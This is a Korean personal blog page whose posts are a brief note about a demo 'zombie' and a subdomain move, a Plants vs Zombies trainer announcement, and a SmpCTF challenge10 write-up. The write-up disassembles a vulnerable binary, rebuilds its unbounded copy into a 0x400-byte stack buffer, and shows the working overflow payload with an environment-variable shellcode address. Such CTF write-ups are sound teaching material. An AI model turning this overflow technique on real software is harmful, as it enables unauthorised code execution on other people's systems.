티스토리 툴바


시연용 좀비였고 왜 퍼지는지 모르겠지만

의도적으로 퍼뜨리지 맙시다 ㅡㅡ


============================================*==============================================

좀비는 버리고 서브도메인 이전...ㅋㅋ
이젠 안달라 붙겠지 ㄱ-

원래 서브도메인은 블랙리스트 등록되었다는데...
저작자 표시 비영리 변경 금지
크리에이티브 커먼즈 라이선스
Creative Commons License

'하루하루 숨쉬는 이야기' 카테고리의 다른 글

좀비가지고 장난질좀 치지 맙시다 ㄱ-  (0) 2010/10/06
재밌는 글  (3) 2010/04/07
DirectX 프로그래밍...  (0) 2010/03/28
Delphi ...ㅋ_ㅋ  (0) 2010/01/18
...  (0) 2010/01/05
푸하하하!!!  (0) 2009/12/13
Posted by RED_BIT

댓글을 달아 주세요

REVERSING2010/07/28 16:13
아이폰에서 뜨고있다길래... 아이폰 없는 사람으로서 PC버젼으로 구해서 플레이하던중...

포함되어있던 트레일러가 작동을 안할것같이 생겼다... 게다가 관리자 권한을 달라고하길래...

직접 만들어버렸음 - _-v

참고로 한국사람이기 때문에 문법이라든지 맞춤법 등등이 틀릴수 있음 - _-;;

게임을 시작시킨후에 run을하면 다음과같은 화면으로 변경... 단축키를 이용해 사용 


아무곳이나 지을수도 있다 - _-;

그럼 즐겜 - _-ㅋ

저작자 표시 비영리 변경 금지
크리에이티브 커먼즈 라이선스
Creative Commons License

'REVERSING' 카테고리의 다른 글

Plants vs Zombies Trainer  (3) 2010/07/28
CrackMe 문제와 UnPackMe 문제!  (1) 2010/02/19
파도콘 2010 CTF 문제 풀이  (0) 2010/02/11
파도콘 2010 CTF 문제 풀이  (5) 2010/02/09
파도콘 2010 CTF 문제 풀이  (2) 2010/02/08
CodeEngn 문제 올클리어~  (4) 2009/12/04
Posted by RED_BIT

댓글을 달아 주세요

  1. 처음하면 중독되서 그대로 빠져살았는데 ㅋ 이틀만에 지루해서 바로 금방뒀어요 ㅎㅎ

    2010/09/06 04:07 [ ADDR : EDIT/ DEL : REPLY ]
    • 남자라면 클리어해줘야죵 ㅋㅋ..
      전 미니게임과 모든 게임을 정복했어요 ㅋㅋ;;
      정상적으로 하지는 않았지만..

      2010/09/07 08:08 [ ADDR : EDIT/ DEL ]
    • 악 ㅋ 그러고 싶었는데 점점 지루해지더라구요 ㅋ 제가 게임을 그리 오래하는 성격이 못됨니당 ㅠㅠ ㅋ

      2010/09/08 02:02 [ ADDR : EDIT/ DEL ]

분류없음2010/07/16 22:35

SmpCTF challenge10 – writeup

redbit@redbit:~/smpCTF$ ./challenge10 'hello world'

redbit@redbit:~/smpCTF$ ./challenge10 `python -c 'print "a"*99999'`

대충 실행시켜봐도 아무런 응답이 없다 - _-; 당신 머야..

main을 들여다보면,

0x0804847d <+0>: lea 0x4(%esp),%ecx

0x08048481 <+4>: and $0xfffffff0,%esp

0x08048484 <+7>: pushl -0x4(%ecx)

0x08048487 <+10>: push %ecx

0x08048488 <+11>: sub $0x18,%esp

0x0804848b <+14>: mov %ecx,0x10(%esp)

0x0804848f <+18>: mov 0x10(%esp),%eax

0x08048493 <+22>: cmpl $0x1,(%eax)

0x08048496 <+25>: jg 0x80484bb <main+62>

0x08048498 <+27>: mov 0x10(%esp),%edx

0x0804849c <+31>: mov 0x4(%edx),%eax

0x0804849f <+34>: mov (%eax),%eax

0x080484a1 <+36>: mov %eax,0x4(%esp)

0x080484a5 <+40>: movl $0x80485b4,(%esp)

0x080484ac <+47>: call 0x8048340 <printf@plt>

0x080484b1 <+52>: movl $0x0,0x14(%esp)

0x080484b9 <+60>: jmp 0x80484d7 <main+90>

0x080484bb <+62>: mov 0x10(%esp),%edx

0x080484bf <+66>: mov 0x4(%edx),%eax

0x080484c2 <+69>: add $0x4,%eax

0x080484c5 <+72>: mov (%eax),%eax

0x080484c7 <+74>: mov %eax,(%esp)

0x080484ca <+77>: call 0x8048404 <vuln>

0x080484cf <+82>: movl $0x0,0x14(%esp)

0x080484d7 <+90>: mov 0x14(%esp),%eax

0x080484db <+94>: add $0x18,%esp

0x080484de <+97>: pop %ecx

0x080484df <+98>: lea -0x4(%ecx),%esp

0x080484e2 <+101>: ret

날 공략하시오라고 말하고 있는 함수를 호출하고 있는것을 볼 수 있다. ( 인자값으로는 argv[1]을 주고 )

저 함수를 들여다보면

0x08048404 <+0>: sub $0x41c,%esp

0x0804840a <+6>: movl $0x0,0x418(%esp)

0x08048415 <+17>: movl $0x400,0x8(%esp)

0x0804841d <+25>: movl $0x0,0x4(%esp)

0x08048425 <+33>: lea 0x18(%esp),%eax

0x08048429 <+37>: mov %eax,(%esp)

0x0804842c <+40>: call 0x8048320 <memset@plt>

0x08048431 <+45>: movl $0x80485b0,(%esp)

0x08048438 <+52>: call 0x8048310 <getenv@plt>

0x0804843d <+57>: test %eax,%eax

0x0804843f <+59>: je 0x8048476 <vuln+114>

0x08048441 <+61>: jmp 0x8048468 <vuln+100>

0x08048443 <+63>: mov 0x418(%esp),%eax

0x0804844a <+70>: mov 0x420(%esp),%edx

0x08048451 <+77>: movzbl (%edx),%edx

0x08048454 <+80>: mov %dl,0x18(%esp,%eax,1)

0x08048458 <+84>: addl $0x1,0x418(%esp)

0x08048460 <+92>: addl $0x1,0x420(%esp)

0x08048468 <+100>: mov 0x420(%esp),%eax

0x0804846f <+107>: movzbl (%eax),%eax

0x08048472 <+110>: test %al,%al

0x08048474 <+112>: jne 0x8048443 <vuln+63>

0x08048476 <+114>: add $0x41c,%esp

0x0804847c <+120>: ret

우선 getenv를 호출하는 곳을보면

0x80485b0: "SMP"

SMP라는 환경변수가 있다면 노란색으로 하이라이트되어있는 부분을 실행하게되는데,

적당히 인간이 알아먹을수 있는 c로 전체적인 내용을 번역하면,

void vuln( char *argv )

{

     int i = 0;

     char buf[ 0x400 ];

     memset( buf, 0, 0x400 );

     if( getenv("SMP") ){

          while( *argv ){

               buf[ i ] = *argv;

               i++;

               argv++;

          }

     }

}

위와 같은 코드가 될것이다.

코드를 충분히 숙지했으면 공격방법도 이해했을것이다.

그리고 공격을~

hax0r@able:/usr/smp/challenge10$ export SMP=?

hax0r@able:/usr/smp/challenge10$ /tmp/redbit/egg

Using address: 0xbffffc94

hax0r@able:/usr/smp/challenge10$ ./challenge10 `python -c 'print "\x03"*1025+"\x94\xfc\xff\xbf"'`

Clear!

저작자 표시 비영리 변경 금지
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by RED_BIT

댓글을 달아 주세요